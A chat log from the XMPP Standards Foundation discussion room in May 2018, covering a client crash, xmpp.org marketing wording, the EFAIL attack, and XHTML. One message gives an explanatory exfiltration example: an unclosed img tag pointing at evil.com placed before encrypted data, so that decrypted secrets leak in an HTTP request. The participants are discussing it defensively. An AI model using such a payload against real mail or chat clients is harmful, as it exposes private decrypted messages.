XSF Discussion - 2018-05-16


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  357. MattJ Wow, Swift just crashed my Pulseaudio :)
  358. MattJ and then crashed itself
  359. MattJ Looks like one of my local test accounts had a $large number of offline messages
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  361. Ge0rG ,oO( https://op-co.de/tmp/chatsecure-crash-iphone.mp4 )
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  363. MattJ Nice :)
  364. MattJ It's like winning Solitaire
  365. jonasw what
  366. jonasw how do a lot of offline messages crash pulseaudio.
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  368. MattJ jonasw, notification sound. I think it probably tried to play thousands of them at once
  369. jonasw and opening a pulseaudio connection for each, I guess, probably by invoking paplay or something. that makes sense.
  370. jonasw but still a bug in pulse probably :)
  371. MattJ Yeah
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  394. flow > jonasw> but still a bug in pulse probably :)
  395. flow not sure if lennart would agree
  396. jonasw AFAIK lennart isn’t involved with pulse anymore
  397. Zash I'm allergic to notification sounds. Probably forever scarred by how annoying that ICQ oh-oh sound got after a while.
  398. jonasw I feel you
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  448. debacle Recently I complained about xmpp.org advertising XMPP as "most secure" messaging standard. Some people agreed, that "most secure" is not the most important feature to advertise XMPP with. And some people might even doubt, that XMPP is exceptionally secure :~)
  449. debacle I suggest to replace "most secure" with the word "universal".
  450. Zash Secure in its awesomeness
  451. Seve/SouL Yes
  452. Seve/SouL that's the idea for me
  453. debacle I believe, that the most important aspect of XMPP compared to other, similar technologies is it's "universal" approach. eXtensible for whatever one likes to do, useful for IoT, WebRTC, and social (below on xmpp.org), etc.
  454. Seve/SouL Something that would mean in a way 'the standard'
  455. Seve/SouL I like that
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  457. daniel The literal battle tested might also not fly well with some people...
  458. Zash The Standard.
  459. Seve/SouL Yes.
  460. Zash It's probably fine for it to be bold
  461. debacle "Battle-tested" might also be something to change, true.
  462. Zash What was that saying about how to get replies on the Internet? State something wrong. People will flock to correct you.
  463. Zash debacle: That might actually be true in a literal sense.
  464. daniel Zash: that's the problem
  465. debacle Yes, but do you want to use this use case for the ads? :~)
  466. debacle Pacifists or anti-bellicists might go to Matrix then :~)
  467. daniel I mean I personally don't have issues with that. But advertising oneself as the protocol that is used to kill people (albeit indirectly) is probably not the best idea for some target audience
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  469. debacle XEPs are lethal in some way...
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  471. Zash XEPs don't kill people. People kill people.
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  477. daniel That would make for a better slogan
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  479. Kev I raised the tagline at the time. It was a deliberate decision by (then) Board.
  480. debacle Back to my complaint: Who could decide over s/most secure/universal/ on xmpp.org? (Or any other change?)
  481. Zash Board?
  482. debacle Maybe also s/Battle-tested./Secure./ :
  483. debacle Maybe also s/Battle-tested./Secure./ ?
  484. Zash Why not have bold marketing tho?
  485. debacle Bold?
  486. daniel Not everything that's bold is also good or useful. Advertising Conversations as trusted by ISIS and organized crime might be bold but arguably pretty bad marketing
  487. Zash All publicity is good publicity, as they say
  488. debacle The EFFail was no good marketing, neither for PGP nor EFF.
  489. Zash When everyone has forgotten the details, they might remember "PGP". If so, then it was a success.
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  491. vanitasvitae I should read that paper in depth at some point to evaluate its impact on OpenPGP for XMPP.
  492. Kev If people read the details, they'd see it had nothing to do with pgp in the first place :)
  493. debacle The remember "PGP is dangerous, I must uninstall it and replace with Signal"
  494. debacle They remember "PGP is dangerous, I must uninstall it and replace with Signal"
  495. Zash vanitasvitae: It wasn't about PGP, it was about MIME and email clients being terrible
  496. vanitasvitae Zash, no, it was also about PGP
  497. vanitasvitae PGP was just harder to attack
  498. moparisthebest not really, it was an HTML thing, you know, like xhmtl-im
  499. daniel If you put xhtml in your ox one could maybe do something similar
  500. daniel Under some conditions
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  502. daniel If you implemted both xhtml and your ox in a bad way that is
  503. vanitasvitae daniel, I suspect that XMPP would be vulnerable the same way. You could for example insert references. Or even HTTP-Upload links.
  504. vanitasvitae But I have to evaluate that in more depth
  505. Zash If you put [[<img src="http://evil.com/]] followed by PGP-encrypted data it went and did a HTTP query for evil.com/encrypted-secrets-here
  506. daniel Yeah I think you could deliberately Design and implemted ox in a way that is vulnerable. But I think that might be a bit harder. Because unlike the mime parsers it won't mix different parts of the stanza
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  508. MattJ debacle, make a pull request on Github with your proposed change, and I'm sure everything will follow on from there
  509. debacle MattJ, will do, thanks!
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  511. vanitasvitae by the look of things, OX puts the stuff that is interpreted as the message payload in an additional element (<signcrypt/> for example), so an attack would be very complicated. Harder than attacking email at least :D
  512. Zash As long as messages are either encrypted or not, it should be fine
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  546. Wiktor who would've though using stricter XML instead of lax HTML would prevent some attacks? /s the same style of attack: https://githubengineering.com/githubs-post-csp-journey/
  547. Zash Nah, who cares, kill XHTML
  548. Zash XHTML is dead, long live tag soup!
  549. Wiktor yep, that's the effect of this thinking, move fast break things, and XHTML-2 was claimed to be "bad" because it made people watch green screens of death
  550. Zash Nah, XHTML 2 was bad because it fixed stupid early mistakes in HTML
  551. Zash Like a single <h> instead of <h[1-6]>
  552. Wiktor single <h> is not as easy as it seems: https://jakearchibald.com/2017/do-we-need-a-new-heading-element/
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  554. Link Mauve Wiktor, s/green/yellow/ :p
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  557. Wiktor Link Mauve: yes, lol, I've imagined yellow but said green, weird
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  559. moparisthebest I miss the good old days when I could link people to https://www.moparisthebest.com/no.html and if they opened it in IE it would blue-screen-of-death their computer
  560. moparisthebest because the img width/height were too large of integers...
  561. Wiktor deathpic.png, sounds dangerous
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  563. Link Mauve This is scary at so many levels.
  564. Link Mauve Why would parsing an HTML integer trigger a kernel panic.
  565. moparisthebest yea everyone thought it was the image, it wasn't, it's an overflow with the tags :)
  566. moparisthebest Link Mauve, right? :)
  567. moparisthebest I want to say it was vulnerable to windows xp sp1, then sp2 fixed it
  568. Ge0rG "vulnerable to windows xp" - isn't that a problem affecting most PCs produced in the last decade?
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  639. moparisthebest are there any XSD wizards in here that could tell me if according to this schema if I can have multiple <Property/> elements with the same type? http://docs.oasis-open.org/xri/xrd/v1.0/xrd-1.0.html#element.property
  640. moparisthebest like <Link bla><Property type="something">data1</Property><Property type="something">data2</Property></Link> ?
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  644. moparisthebest http://docs.oasis-open.org/xri/xrd/v1.0/xrd-1.0.html#examples.2 has <Property type="http://spec.example.net/version">1.0</Property><Property type="http://spec.example.net/version">2.0</Property>
  645. moparisthebest so I guess the answer is yes? though what does "XRD Examples (Non-Normative)" mean? :)
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  656. jonasw moparisthebest, I’m rather sure that XSD can’t express such things
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  658. moparisthebest thanks jonasw , as an aside you've been doing an exceptional job as editor lately
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  660. jonasw thanks
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